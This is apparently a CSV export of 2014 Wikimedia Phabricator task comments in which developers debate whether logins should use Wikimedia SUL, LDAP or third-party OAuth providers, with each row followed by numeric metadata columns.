+{F8129}",,,1410484856,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+149,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-12 21:01:55 (UTC)`
+
+Wrench in plans. Phabricator only supports very limited usernames: ""Usernames must contain only numbers, letters, period, underscore and hyphen, and can not end with a period. They must have no more than 64 characters."" Which means a ton of MediaWiki usernames can't be used as the Phabricator username.
+
+Do we,
+a) Try to fix Phabricator, and continue with the current plan
+b) Come up with a new plan
+
+",,,1410484856,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1
+148,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-06-12 16:45:17 (UTC)`
+
+fwiw we should use this logo: https://commons.wikimedia.org/wiki/File:Wikimedia-logo.svg",,,1410484856,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+147,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-12 16:23:57 (UTC)`
+
+>>! In T40#97, @mattflaschen wrote:
+> It looks like the initial version of this is implemented (cool!) at http://fab.wmflabs.org/settings/panel/external/, but it's showing the Amazon.com logo.  We should just hide the Amazon.com logo (CSS `.login-MediaWiki {display: none}` ) until the logo can be done properly.
+
+I gave Chad my ugly version of our logo (anyone else is welcome to cleanup my sprite). I'm happy to send the patch to anyone else with shell on that box.",,,1410484855,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+146,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-06-12 04:57:18 (UTC)`
+
+Damn, our s3kr37 plan to move the hosting of all Wikimedia projects to AWS has been leaked!!!",,,1410484855,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+145,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-06-12 03:54:32 (UTC)`
+
+It looks like the initial version of this is implemented (cool!) at http://fab.wmflabs.org/settings/panel/external/, but it's showing the Amazon.com logo.  We should just hide the Amazon.com logo (CSS `.login-MediaWiki {display: none}` ) until the logo can be done properly.",,,1410484854,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+144,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mmodell** wrote on `2014-06-02 23:09:12 (UTC)`
+
+I already ran into an issue with reliability of the phabricator oauth plugin. I need to test further and get this rock solid reliable.",,,1410484854,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+143,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-06-02 22:12:17 (UTC)`
+
+Just fyi, the [[ http://fab.wmflabs.org/project/view/40/ | Trusted User Tool ]] will be deployed before Day 1. It only requires Wikimedia SUL. This will give us a chance to understand better and test the connection between accounts and providers.",,,1410484854,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1
+142,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mmodell** wrote on `2014-06-02 16:11:24 (UTC)`
+
+> @mattflaschen wrote:
+
+>It's not clear if Phabricator can actually use LDAP as its username database, or just let you create an account based on LDAP (the same way you >can log in to a site via OAuth, but that consuming site has their own user table).
+
+No, phabricator does not ""actually use LDAP as it's username database"" .... it uses ldap like another oauth provider.
+
+>>! In T40#90, @Krinkle wrote:
+
+> 
+> Having two separate SSH key registries (one in LDAP for Labs/Wikitech etc, and one in Phab) should be avoided.
+
+The ssh key registry in phabricator is specifically designed for accessing repositories hosted by phab. Compare with garrit's ssh key registry.",,,1410484853,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+141,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mmodell** wrote on `2014-06-02 16:07:49 (UTC)`
+
+From a technical perspective, I think phabricator always has ""local"" accounts. It's just that it is flexible in allowing you to link your phabricator account to one or more external authentication providers. You can easily link and unlink any of the available providers at any time using familiar oauth flow.
+
+",,,1410484853,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+140,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Krinkle** wrote on `2014-05-21 02:23:37 (UTC)`
+
+mattflaschen:
+
+>  maybe we can make some kind of one-time import bridge using OAuth against Wikitech and also authenticating against Phabricator's API
+
+That would be undesirable. This is not about migrating from Gerrit, but about splitting ssh keys into separate buckets. People with developer accounts (despite the appreciated effort to make it easier for volunteers) will remain the majority user of this software. And in my opinion (for time and money reasons) must also be optimised for highly (both for continued productivity by our core contributors as well as to make it easier for developers volunteers to contribute and get started).
+
+Having two separate SSH key registries (one in LDAP for Labs/Wikitech etc, and one in Phab) should be avoided.",,,1410484853,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+139,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-05-17 00:03:17 (UTC)`
+
+scfc:
+> The question was about authenticating MediaWiki against Google accounts, and currently **Extension:**OpenID appears to be the (only?) way to do that, and that uses OpenID which Google still supports and will do so until [[https://developers.google.com/+/api/auth-migration?hl=de#timetable|April 20th, 2015]].
+
+You're right, I forgot Google supports OpenID.
+
+Krinkle:
+> Claiming an e-mail address for imported content from Bugzilla seems useful though, but if possible, I think it'd be ideal if we can configure it such that e-mail addresses can only be connected/claimed to an account (e.g. one logged-in with LDAP), but not allow users to create new accounts with only an e-mail address (so that we only have 1 ""user name"", the one in LDAP, and no potential for conflicts or confusion.
+
+It's not clear if Phabricator can actually use LDAP as its username database, or just let you create an account based on LDAP (the same way you can log in to a site via OAuth, but that consuming site has their own user table).
+
+> I think LDAP makes more sense as primary over Wiki CentralAuth / OAuth due to the context of this service. Our primary audience and use case is developers and designers.
+
+I don't completely agree with this perspective.  Getting staff members set up is not going to be an issue (even if a staff member doesn't yet have a Wikipedia or MediaWiki.org account, we have onboarding for that).  So I would say, we are most concerned about reducing friction for volunteers.
+
+This includes both content volunteers (not familiar with code, but see bugs on the wiki occasionally) and software volunteers.  Content volunteers will often have an SUL account (they definitely will once SUL finalization is done), since they use Wikipedia/Wiktionary/etc.  Software volunteers either already have a MediaWiki.org account or can get one easily.
+
+> And if they're new to all this and are coming from the community with just a wiki account, they're going to need an LDAP account sooner or later anyway.
+
+I disagree with this.  If they just report bugs, discuss features, they will never need an LDAP account.  Our Phabricator should be open to constructive feedback from non-technical people.
+
+> Also remember they'll need one or more ssh keys, a user name, possibly a shelel name (depending on how git/ssh works in Phabricator), two-step auth maybe, all of which we have on Wikitech in LDAP.
+
+(None of this is part of day 1, but it is relevant).  You're right, it would be somewhat annoying to import the SSH keys again; maybe we can make some kind of one-time import bridge using OAuth against Wikitech and also authenticating against Phabricator's API.  Shell names are not an issue, since it uses the [same one for everyone](https://secure.phabricator.com/book/phabricator/article/diffusion_hosting/#configuring-ssh), like GitHub.",,,1410484852,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+138,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**avive** wrote on `2014-05-16 16:52:22 (UTC)`
+
+Phab lets you have 1 account, that is linked to as many auth methods as you'd like - they are all connected to the same Phabricator user. You can play with this on https://secure.phabricator.com/settings/panel/external/ (which have lots of auth methods enabled).
+
+That being said, its also easy to accidentally create duplicate accounts by:
+1. ""Register with Facebook""
+2. Log out, forget you've used Facebook for this.
+3. ""Register with Google""
+
+which, since it can't guess this is the same person, may create a new account.
+To reduce this, it's possible to only allow one/some providers to //register//, and others only for login.",,,1410484852,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+137,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-16 16:10:34 (UTC)`
+
+A question while we decide on LDAP and GitHub: do all these authentication methods provide only different accounts belonging to a same person, or will Phabricator allow to manage these different identities under one username?
+
+At least from the user point of view, the ideal situation would be:
+
+* I can get a MyUsername after logging in with my Wikimedia SUL (or LDAP or GitHub...) credentials.
+* Once I have a user profile, I can link to my profile my other identities with other providers.
+* I can also claim email addresses, which will help linking migrated Bugzilla data with my account as well.
+* No matter how do I log in, my actions in Phabricator will always refer to one single username.
+
+Users will always have the choice of keeping their different identities separate by not linking them to a single profile.
+
+Is this feasible? Desired?",,,1410484852,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0
+136,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**robla** wrote on `2014-05-15 23:58:46 (UTC)`
+
+The discussion in [[ https://bugzilla.wikimedia.org/show_bug.cgi?id=14487 | bug 14487 ]] is relevant to this conversation.",,,1410484851,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+135,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-15 23:50:33 (UTC)`
+
+Sorry, didn't mean to close this. The ""close task"" button is where Cancel usually is LOL. ",,,1410484851,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+134,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-15 23:49:54 (UTC)`
+
+>I'd recommend using our LDAP/Labs/Wikitech as the primary method of authorisation and identification.
+
+This doesn't work for non-technical users reporting bugs etc. That includes most WMF staff in Product/Design, who don't  all have Labs accounts ",,,1410484851,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1
+133,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Krinkle** wrote on `2014-05-15 23:48:09 (UTC)`
+
+I'd recommend using our LDAP/Labs/Wikitech as the primary method of authorisation and identification.
+
+Adding multiple backends could be neat, but I'm not sure it's worth the hassle and burden it might add to the system, it's usability etc.
+
+Claiming an e-mail address for imported content from Bugzilla seems useful though, but if possible, I think it'd be ideal if we can configure it such that e-mail addresses can only be connected/claimed to an account (e.g. one logged-in with LDAP), but not allow users to create new accounts with only an e-mail address (so that we only have 1 ""user name"", the one in LDAP, and no potential for conflicts or confusion.
+
+I think LDAP makes more sense as primary over Wiki CentralAuth / OAuth due to the context of this service. Our primary audience and use case is developers and designers. They are more likely to have or need an LDAP account than a wiki account. And if they're new to all this and are coming from the community with just a wiki account, they're going to need an LDAP account sooner or later anyway. So maybe (if not already) we can have a ""Sign up"" link in Phabricator, sure, but have it point to account creation of LDAP/Labs/Wikitech instead. If that sign up form is so bad, we ought to improve it.
+
+Also remember they'll need one or more ssh keys, a user name, possibly a shelel name (depending on how git/ssh works in Phabricator), two-step auth maybe, all of which we have on Wikitech in LDAP.
+",,,1410484850,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+132,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**scfc** wrote on `2014-05-15 22:21:30 (UTC)`
+
+@ mattflaschen:
+
+> > Extension:OpenID hasn't been properly reviewed yet, etc. AFAIUY, Phabricator has tested and deployed support for acting as an OpenID consumer.
+> Connect with Google/Facebook/etc. use OAuth. They do not require OpenID.
+
+The question was about authenticating MediaWiki against Google accounts, and currently **Extension:**OpenID appears to be the (only?) way to do that, and that uses OpenID which Google still supports and will do so until [[https://developers.google.com/+/api/auth-migration?hl=de#timetable|April 20th, 2015]].  Is there an extension that turns MediaWiki into an OAuth consumer?",,,1410484850,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+131,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-15 22:02:04 (UTC)`
+
+>In any case, we cannot decide here to add 3rd party providers and to choose which ones. We can safely default to Wikimedia SUL for Day 1 and leave the door open to 3rd party providers agreed by the community. This discussion needs to go through wikitech-l. I'm happy to send a first email there and see how it goes.
+
+Quim and I talked in person and I'm okay with this plan. ",,,1410484850,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+130,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-15 20:59:04 (UTC)`
+
+I might be wrong, but I believe this could be a contentious topic. We don't need more contentious topics for Day 1.
+
+In any case, we cannot decide here to add 3rd party providers and to choose which ones. We can safely default to Wikimedia SUL for Day 1 and leave the door open to 3rd party providers agreed by the community. This discussion needs to go through wikitech-l. I'm happy to send a first email there and see how it goes.",,,1410484848,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+129,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-15 20:35:27 (UTC)`
+
+> Therefore, the proposal for Day 1 is simple: Wikimedia SUL.
+
+I really don't think this is a good idea. 
+
+Turning off local creation and deferring third party providers will create inertia against adding additional authentication tools. We should pick the set we want from day one. 
+
+It particularly makes no sense to not consider third party tools when we would not have to do technical work to support them. All we have to do is pick a list. ",,,1410484848,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+128,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**jdforrester** wrote on `2014-05-15 18:37:59 (UTC)`
+
+> Therefore, the proposal for Day 1 is simple: Wikimedia SUL.
+
+Agreed; task description/detail changed accordingly.",,,1410484847,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+127,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-15 17:56:41 (UTC)`
+
+About local user creation, what about removing it? If you have to create an account, you might as well create it for the whole Wikimedia, not only the Phabricator instance.
+
+Therefore, the proposal for Day 1 is simple: Wikimedia SUL.",,,1410484847,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+126,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-05-15 05:52:31 (UTC)`
+
+scfc:
+> Extension:OpenID hasn't been properly reviewed yet, etc. AFAIUY, Phabricator has tested and deployed support for acting as an OpenID consumer.
+
+Connect with Google/Facebook/etc. use OAuth.  They do not require OpenID.
+
+jdforester:
+> Yes. Endless arguments about this, but ultimately it comes down to privacy/pseudo-anonymity and approving by selection of some services over others.
+
+Additionally, I am skeptical about adding a dependency on a proprietary third-party service.  Done wrong, the dependency becomes permanent (i.e. it is coded in such a way that the user can not disconnect their account).  Otherwise, we still have the significant privacy and open source software issues to consider.
+
+I would prefer to keep it ""Login with your Wikipedia/Wikimedia account"" for day 1.",,,1410484847,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+125,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-14 17:09:30 (UTC)`
+
+We are a small sample of the community and we are seeing very different opinions here. Being Phabricator still so abstract for most of our community members, I don't see the usefulness to start a wider community discussion now.
+
+What if we focus on a plan for a Wikimedia-specific login for Day 1, leaving the third parties for later? It is easier to add options as they are being agreed than to remove them if they cause too much trouble.",,,1410484846,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0
+124,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**avive** wrote on `2014-05-14 00:44:05 (UTC)`
+
+As an outside user, I think it would be odd to allow other providers in wmf:phab, and not in wm.
+
+Since wmf:phab is part of the wmf ""system"", I'd expect it to ideally only support wm logins: one, it's obviously connected, and two, sso rocks. I think it's reasonable from privacy POV that they share logins, but I might be wrong here.
+
+Allowing (say) google auth for phab but not for wm is nicer than not allowing it at all, but also a bit confusing. Don't I need a WM account to effectively use phab?
+
+Also consider the future were WM does allow google auth: Will loging in with google to phab automatically link my wm-account, because it's already linked to my google account? This is somewhat confusing.
+
+
+Of course, offering many auth forms for wm itself is something I'd be happy to see.
+
+(tl;dr: I'd vote to allow only wm oauth for wmf:phab - assuming that's technically possible)",,,1410484846,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+123,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-05-13 21:12:51 (UTC)`
+
+If I understand the concerns right, most of them are about privacy, and how letting users login with google/etc makes it easy for our users to tell the auth provider the correlation between their IP and username. Some people argue that we have a duty to not let users shoot themselves in their privacy foot, or that by having the login there, we're somehow implying that these organizations have a compatible privacy policy with our own. I don't think either are necessarily true, and we could make the relationship explicit if we wanted to.
+
